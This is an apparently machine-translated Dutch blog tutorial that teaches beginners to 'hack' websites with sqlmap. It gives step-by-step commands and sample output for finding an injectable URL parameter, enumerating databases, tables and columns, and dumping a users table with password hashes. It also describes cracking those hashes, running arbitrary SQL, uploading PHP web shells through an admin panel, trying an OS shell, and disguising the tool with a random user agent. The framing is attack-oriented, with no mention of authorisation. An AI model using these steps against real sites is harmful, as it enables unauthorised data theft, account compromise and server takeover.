Sqlmap tutorial voor beginners – hacken met SQL injectie

Sqlmap

Sqlmap is een van de meest populaire en krachtige SQL injectie automation tool die er zijn. Gezien een kwetsbare http request url, sqlmap kan de externe database te exploiteren en doen veel hacken zoals het extraheren van database namen, tabellen, kolommen, alle gegevens in de tabellen etc.

Het kan zelfs bestanden lezen en schrijven op het externe bestandssysteem onder bepaalde voorwaarden. Geschreven in python het is een van de meest krachtige hacking tools die er zijn. Sqlmap is de metasploit van SQL injecties.

Sqlmap is opgenomen in pen testende linux distributies zoals kali linux, backtrack, backbox etc. Op andere distributies kan het eenvoudig worden gedownload van de volgende url

http://sqlmap.org/.

sinds het geschreven is in python, moet je eerst python op je systeem installeren. Op ubuntu installeren python van synaptic. Op windows installeren activestate python. Bekijk dit bericht voor meer informatie over het installeren en uitvoeren van sqlmap op windows.

voor de lijst met opties en parameters die gebruikt kunnen worden met het sqlmap Commando, controleer de sqlmap documentatie op
https://github.com/sqlmapproject/sqlmap/wiki/Usage

in deze tutorial gaan we leren hoe sqlmap te gebruiken om een kwetsbare web applicatie te exploiteren en te zien wat er allemaal gedaan kan worden met een dergelijk gereedschap.

om deze tutorial te begrijpen moet u grondige kennis hebben van hoe database-gestuurde webapplicaties werken. Bijvoorbeeld die gemaakt met php + mysql.

kwetsbare URL ‘ s

laten we zeggen dat er een webtoepassing of website is met een url als deze

http://www.site.com/section.php?id=51

en het is gevoelig voor SQL-injectie omdat de ontwikkelaar van die site de parameter id niet goed heeft ontweken. Dit kan eenvoudig worden getest door te proberen de url

http://www.site.com/section.php?id=51'

te openen. Als deze url gooit een fout of reageert op een onverwachte manier dan is het duidelijk dat de database heeft de onverwachte enkele quote die de toepassing niet goed ontsnapt. Dus in dit geval is deze input parameter “id” kwetsbaar voor SQL injectie.

hacken met sqlmap

nu is het tijd om door te gaan naar sqlmap om dergelijke URL ‘ s te hacken. Het sqlmap commando wordt uitgevoerd vanaf de terminal met de Python interpreter.

1. Scanning remote system

het eerste commando is scant het remote systeem om te zien of het kwetsbaar is voor SQL-injectie en verzamelt er vervolgens informatie over.

$ python sqlmap.py -u "http://www.site.com/section.php?id=51"

het bovenstaande is het eerste en meest eenvoudige commando dat uitgevoerd wordt met het sqlmap Gereedschap. Het controleert de inputparameters om uit te vinden of ze kwetsbaar zijn voor SQL-injectie of niet. Hiervoor stuurt sqlmap verschillende soorten SQL injectie payloads naar de input parameter en controleert de uitvoer.

in het proces sqlmap is ook in staat om het externe systeem os, database naam en versie te identificeren. Hier is hoe de uitvoer eruit zou kunnen zien als

 starting at 12:10:33 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5

dus het sqlmap gereedschap heeft het besturingssysteem, de webserver en de database ontdekt samen met versieinformatie. Zelfs dit is behoorlijk indrukwekkend. Maar het is tijd om verder te gaan en te zien wat meer is deze tool in staat is.

2. Ontdek Databases

zodra sqlmap bevestigt dat een URL op afstand kwetsbaar is voor SQL-injectie en exploiteerbaar is, is de volgende stap het achterhalen van de namen van de databases die op het systeem op afstand bestaan. De” –dbs ” optie wordt gebruikt om de database lijst te krijgen.

$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs

De uitvoer zou zoiets kunnen zijn

 starting at 12:12:56 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching database names the SQL query used returns 2 entries resumed: information_schema resumed: safecosmeticsavailable databases : information_schema safecosmetics

De uitvoer toont de bestaande databases op het systeem op afstand.

3. Zoek tabellen in een bepaalde database

nu is het tijd om uit te vinden welke tabellen er in een bepaalde database bestaan. Laten we zeggen dat de database van belang hier is ‘safecosmetics’

Commando

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics

en de uitvoer kan iets gelijkaardig zijn aan deze

 the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching tables for database: 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 216 entries retrieved: acl_acl retrieved: acl_acl_sections........... more tables

is dit niet verbazingwekkend ? het is natuurlijk. Laten we nu de kolommen van een bepaalde tabel krijgen.

4. Kolommen van een tabel

ophalen nu we de lijst met tabellen bij ons hebben, zou het een goed idee zijn om de kolommen van een belangrijke tabel te krijgen. Laten we zeggen dat de tabel is ‘gebruikers’ en het bevat de gebruikersnaam en het wachtwoord.

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users

De uitvoer kan ongeveer zo zijn

 the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching columns for table 'users' in database 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 8 entries retrieved: id retrieved: int(11) retrieved: name retrieved: text retrieved: password retrieved: text....... retrieved: hash retrieved: varchar(128)Database: safecosmeticsTable: users+-------------------+--------------+| Column | Type |+-------------------+--------------+| email | text || hash | varchar(128) || id | int(11) || name | text || password | text || permission | tinyint(4) || system_allow_only | text || system_home | text |+-------------------+--------------+

dus nu zijn de kolommen duidelijk zichtbaar. Goed gedaan!

5. Gegevens ophalen uit een tabel

komt nu het meest interessante deel, van het extraheren van de gegevens uit de tabel. Het commando is

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users

het bovenstaande commando dumpt eenvoudig de gegevens van de betreffende tabel, net als het mysqldump Commando.
De uitvoer lijkt mogelijk op deze

+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| id | hash | name | email | password | permission | system_home | system_allow_only |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+

De hashkolom lijkt de wachtwoordhash te hebben. Probeer het kraken van de hash en dan zou je de login gegevens meteen te krijgen. sqlmap zal een csv-bestand met de dump gegevens voor eenvoudige analyse te maken.

tot nu toe hebben we veel informatie kunnen verzamelen uit de externe database met behulp van sqlmap. Het is bijna alsof het hebben van directe toegang tot externe database via een client als phpmyadmin. In echte scenario ‘ s zouden hackers proberen om een hoger niveau te krijgen om toegang te krijgen tot het systeem. Voor deze, ze zouden proberen om het wachtwoord hashes te kraken en proberen in te loggen via de admin panel. Of ze zouden proberen om een OS shell te krijgen met behulp van sqlmap.

Ik heb nog een bericht geschreven over het gebruik van sqlmap om meer details te krijgen over databases op afstand. Het legt de andere opties van sqlmap die nuttig zijn om het uit de database gebruikers, hun privileges en hun wachtwoord hashes.

wat nu ?

zodra u in staat bent om gegevens van een kwetsbaar systeem te scannen en te verzamelen, is het tijd om het te exploiteren en te zien of het mogelijk is om toegang tot het systeem te krijgen. Sqlmap kan heel wat dingen doen zoals het uitvoeren van SQL queries op remote systeem, het starten van een remote shell op het systeem etc.

1. Voer willekeurige SQL-queries uit

Dit is waarschijnlijk het makkelijkst om te doen op een server die kwetsbaar is voor SQL-injectie. De — sql-query parameter kan gebruikt worden om een uit te voeren SQL query op te geven. Dingen van belang zou zijn om een gebruiker in de tabel gebruikers of iets dergelijks te creëren. Of kan veranderen / wijzigen van de inhoud van cms pagina ‘ s etc.

een andere paramter –sql-shell zou een SQL shell-achtige interface geven om queries interactief uit te voeren.

2. Ga naar binnen in het admin paneel en speel

als de website een soort aangepast cms draait of iets dergelijks dat een admin paneel heeft, dan is het mogelijk om binnen te komen op voorwaarde dat je in staat bent om het wachtwoord te kraken dat is opgehaald in de database dump. Eenvoudige en korte lengte wachtwoorden kunnen eenvoudig worden verbroken door brute forceren of google.com.

Controleer of het admin paneel toestaat om enkele bestanden te uploaden. Als een willekeurig php-bestand kan worden geüpload dan is het een stuk leuker. Het php-bestand kan shell_exec, system ,exec of passthru functie aanroepen bevatten en dat zal toelaten om arbitary systeem commando ‘ s uit te voeren. Php web shell scripts kunnen worden geüpload om hetzelfde te doen.

3. Shell op remote OS

Dit is wat je moet doen om de server volledig over te nemen. Merk echter op dat het niet zo eenvoudig en triviaal als de trucs hierboven getoond. sqlmap wordt geleverd met een parameter call –os-shell die kan worden gebruikt om te proberen om een shell op een remote systeem te krijgen, maar het heeft vele beperkingen van zijn eigen.

volgens de sqlmap handleiding

It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.

is het belangrijkste privilege dat de huidige database gebruiker nodig heeft om bestanden door de database functies te schrijven. Dit is in de meeste gevallen afwezig. Vandaar dat deze techniek in de meeste gevallen niet zal werken.

Noot

1. Soms kan sqlmap helemaal geen verbinding maken met de url. Dit is zichtbaar wanneer het vast komt te zitten bij de eerste taak van “verbinding met het doel url testen”. In dergelijke gevallen is het handig om de “–random-agent” optie te gebruiken. Dit maakt sqlmap een geldige user agent handtekening te gebruiken, zoals degene die worden verzonden door een browser zoals chrome of firefox.

2. Voor url ‘ s die niet in de vorm van param=value zijn, kan sqlmap niet automatisch weten waar te injecteren. Bijvoorbeeld MVC URL ‘ s zoals http://www.site.com/class_name/method/43/80.

in dergelijke gevallen moet sqlmap worden geïnformeerd over het injectiepunt gemarkeerd met een *

http://www.site.com/class_name/method/43*/80

het bovenstaande zal sqlmap vertellen om te injecteren op het punt gemarkeerd met *

3. Bij het gebruik van formulieren die gegevens verzenden via post methode dan sqlmap moet worden verstrekt de post gegevens in de” — data ” opties. Voor meer informatie bekijk deze tutorial over het gebruik van sqlmap met formulieren.

Geef een antwoord

Het e-mailadres wordt niet gepubliceerd.